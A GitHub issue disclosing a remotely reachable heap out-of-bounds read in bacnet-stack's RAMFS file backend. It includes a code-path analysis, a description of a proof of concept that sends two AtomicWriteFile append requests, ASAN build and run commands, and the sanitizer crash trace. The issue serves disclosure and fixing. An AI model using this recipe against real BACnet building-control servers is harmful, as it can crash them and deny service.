Skip to content

Consecutive AtomicWriteFile(record-access) appends can trigger a heap out-of-bounds read in the RAMFS file backend #1399

Description

@MrAlaskan

Summary

In bacnet-stack 1.5.0 (master branch commit 932e347), the RAMFS-backed FILE object implementation stores appended records as NUL-terminated strings, but its record-counting logic later walks the buffer as if an additional terminating empty record were present. As a result, two consecutive AtomicWriteFile(record-access) append requests can cause record_count() to call bacnet_strnlen() on a pointer that is already one byte past the end of the heap allocation.

The issue is remotely reachable through the normal BACnet AtomicWriteFile service path. In an affected deployment, a client only needs to append two records to the same writable FILE object to trigger the out-of-bounds read, potentially causing a crash, denial of service, or other undefined behavior.

Details

Affected code is located in:

  • src/bacnet/basic/service/h_awf.c
  • src/bacnet/basic/object/bacfile.c
  • src/bacnet/basic/sys/bramfs.c
  • src/bacnet/bacstr.c

Relevant logic:

  • handler_atomic_write_file_encode() accepts FILE_RECORD_ACCESS requests as long as fileStartRecord >= -1.
  • When fileStartRecord == -1, the request is treated as an append and is forwarded through:
handler_atomic_write_file_encode()
  -> bacfile_write_record_data()
    -> bacfile_write_record_data_callback()
      -> bacfile_ramfs_write_record_data()
  • At the start of bacfile_ramfs_write_record_data(), the RAMFS backend counts existing records with:
fileRecordCount = record_count(pFile->data);
  • record_count() walks the record buffer like this:
do {
    len = bacnet_strnlen(records, MAX_OCTET_STRING_BYTES);
    if (len > 0) {
        count++;
        records = records + len + 1;
    }
} while (len > 0);
  • The append branch in bacfile_ramfs_write_record_data() grows the heap allocation by exactly fileDataStrLen + 1 and writes only:
record bytes + '\0'
  • This layout does not append an additional empty-record sentinel after the terminating NUL.
  • If the file currently ends with exactly one NUL-terminated record, record_count() scans that record, advances records by len + 1, and may land exactly at the end of the allocation.
  • record_count() then performs another bacnet_strnlen(records, MAX_OCTET_STRING_BYTES) on that already-out-of-bounds pointer.
  • bacnet_strnlen() is implemented with memchr(str, 0, maxlen), so this becomes an out-of-bounds heap read immediately.

PoC

A client PoC is provided.

poc.c

The PoC targets OBJECT_FILE, instance 1, on the target server and performs the following two requests:

  • AtomicWriteFile(OBJECT_FILE, 1, FILE_RECORD_ACCESS, fileStartRecord = -1, returnedRecordCount = 1, fileData[0] = "AAAA")
  • AtomicWriteFile(OBJECT_FILE, 1, FILE_RECORD_ACCESS, fileStartRecord = -1, returnedRecordCount = 1, fileData[0] = "BBBB")

The first request creates a 5-byte heap buffer containing AAAA\0. The second request reaches the same append path again, but now the pre-write record_count() traversal reads past the end of that 5-byte allocation before the second record is even appended.

Reproduction steps

1. Build the server with ASAN

cmake -S /home/user/bacnet-stack \
  -B /home/user/bacnet-stack/build-asan \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_COMPILER=gcc \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer -fno-common' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build /home/user/bacnet-stack/build-asan --target server-ramfs-1 -j"$(nproc)"

The reproduction uses a target named server-ramfs-1. This is not an example binary shipped by upstream bacnet-stack; it is a minimal local variant derived from the upstream apps/server example by switching the FILE object backend from the default POSIX-backed path to the RAMFS-backed path using the normal bacnet-stack integration style.

The exact source diff against apps/server/main.c is:

--- apps/server/main.c
+++ apps/server-ramfs-1/main.c
@@ -51,7 +51,7 @@
 #endif /* defined(INTRINSIC_REPORTING) */
 #include "bacnet/basic/object/bacfile.h"
 #if defined BACNET_BACKUP_RESTORE
-#include "bacfile-posix.h"
+#include "bacnet/basic/sys/bramfs.h"
 #endif
 #if defined(BAC_UCI)
 #include "bacnet/basic/ucix/ucix.h"
@@ -182,12 +182,14 @@
         }
     }
 #if defined BACNET_BACKUP_RESTORE
-    /* initialize the POSIX file object backend */
-    bacfile_posix_init();
+    /* initialize the RAMFS file object backend */
+    bacfile_ramfs_init();
     /* file for backup and restore example */
     object_data.object_instance = bacfile_index_to_instance(0);
     if (object_data.object_instance < BACNET_MAX_INSTANCE) {
         bacfile_pathname_set(object_data.object_instance, "backup_1.bin");
+        bacfile_file_access_stream_set(object_data.object_instance, false);
         Device_Configuration_File_Set(0, object_data.object_instance);
         printf(
             "Created %s-%u path=%s for backup and restore (%u files).\n",

2. Build the PoC client

The PoC is exposed through the top-level CMake configuration as the poc target.

cmake --build /home/user/bacnet-stack/build-asan --target poc -j"$(nproc)"

3. Start the server

env \
  BACNET_DATALINK=bip \
  BACNET_IFACE=lo \
  BACNET_IP_PORT=47809 \
  /home/user/bacnet-stack/build-asan/server-ramfs-1 260001

4. Run the PoC

env \
  BACNET_DATALINK=bip \
  BACNET_IFACE=lo \
  BACNET_IP_PORT=47810 \
  BACNET_IP_BROADCAST_PORT=47809 \
  /home/user/bacnet-stack/build-asan/poc 260001 1

Observed crash

When the server is built with sanitizers, executing the second append request triggers a heap-buffer-overflow in bacnet_strnlen(), reached through record_count().

==496261==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000009c75 at pc 0x7f922ced508d bp 0x7ffc389d5280 sp 0x7ffc389d4a28
READ of size 1 at 0x602000009c75 thread T0
    #0 0x7f922ced508c in __interceptor_memchr ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:874
    #1 0x55d96f2b0afb in bacnet_strnlen /home/user/bacnet-stack/src/bacnet/bacstr.c:1999
    #2 0x55d96f18cade in record_count /home/user/bacnet-stack/src/bacnet/basic/sys/bramfs.c:275
    #3 0x55d96f18ce46 in bacfile_ramfs_write_record_data /home/user/bacnet-stack/src/bacnet/basic/sys/bramfs.c:347
    #4 0x55d96f069c45 in bacfile_write_record_data_callback /home/user/bacnet-stack/src/bacnet/basic/object/bacfile.c:330
    #5 0x55d96f06eceb in bacfile_write_record_data /home/user/bacnet-stack/src/bacnet/basic/object/bacfile.c:1204
    #6 0x55d96f16f294 in handler_atomic_write_file_encode /home/user/bacnet-stack/src/bacnet/basic/service/h_awf.c:155
    #7 0x55d96f16f7a1 in handler_atomic_write_file /home/user/bacnet-stack/src/bacnet/basic/service/h_awf.c:209
    #8 0x55d96f16b827 in apdu_handler /home/user/bacnet-stack/src/bacnet/basic/service/h_apdu.c:609
    #9 0x55d96f067d51 in npdu_handler /home/user/bacnet-stack/src/bacnet/basic/npdu/h_npdu.c:279
    #10 0x55d96f05d710 in main /home/user/bacnet-stack/apps/server-ramfs-1/main.c:430
    #11 0x7f922c1da082 in __libc_start_main ../csu/libc-start.c:308
    #12 0x55d96f05bf2d in _start (/home/user/bacnet-stack/build-asan/server-ramfs-1+0x3f0f2d)

0x602000009c75 is located 0 bytes to the right of 5-byte region [0x602000009c70,0x602000009c75)
allocated by thread T0 here:
    #0 0x7f922cf94c3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
    #1 0x55d96f18d594 in bacfile_ramfs_write_record_data /home/user/bacnet-stack/src/bacnet/basic/sys/bramfs.c:393
    #2 0x55d96f069c45 in bacfile_write_record_data_callback /home/user/bacnet-stack/src/bacnet/basic/object/bacfile.c:330
    #3 0x55d96f06eceb in bacfile_write_record_data /home/user/bacnet-stack/src/bacnet/basic/object/bacfile.c:1204
    #4 0x55d96f16f294 in handler_atomic_write_file_encode /home/user/bacnet-stack/src/bacnet/basic/service/h_awf.c:155
    #5 0x55d96f16f7a1 in handler_atomic_write_file /home/user/bacnet-stack/src/bacnet/basic/service/h_awf.c:209
    #6 0x55d96f16b827 in apdu_handler /home/user/bacnet-stack/src/bacnet/basic/service/h_apdu.c:609
    #7 0x55d96f067d51 in npdu_handler /home/user/bacnet-stack/src/bacnet/basic/npdu/h_npdu.c:279
    #8 0x55d96f05d710 in main /home/user/bacnet-stack/apps/server-ramfs-1/main.c:430
    #9 0x7f922c1da082 in __libc_start_main ../csu/libc-start.c:308

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:874 in __interceptor_memchr
Shadow bytes around the buggy address:
  0x0c047fff9330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff9340: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff9350: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff9360: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff9370: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x0c047fff9380: fa fa 00 07 fa fa 00 00 fa fa 00 00 fa fa[05]fa
  0x0c047fff9390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff93a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff93b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff93c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff93d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==496261==ABORTING

This crash report shows that:

  • the request reaches the server's normal AtomicWriteFile(record-access) handling path
  • the first append creates a 5-byte heap allocation containing only AAAA\0
  • the second append re-enters record_count() before extending the file
  • record_count() advances the cursor to exactly the end of the allocation and then scans again
  • bacnet_strnlen() performs the out-of-bounds read and the server crashes

Impact

This is a remote memory-safety issue on the server side. More specifically, it is a heap out-of-bounds read in the RAMFS FILE backend reachable through authenticated-or-unauthenticated BACnet network traffic, depending on deployment. In sanitizer builds it is an immediate crash. In non-sanitized builds it can still cause denial of service and other undefined behavior during normal AtomicWriteFile request processing.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions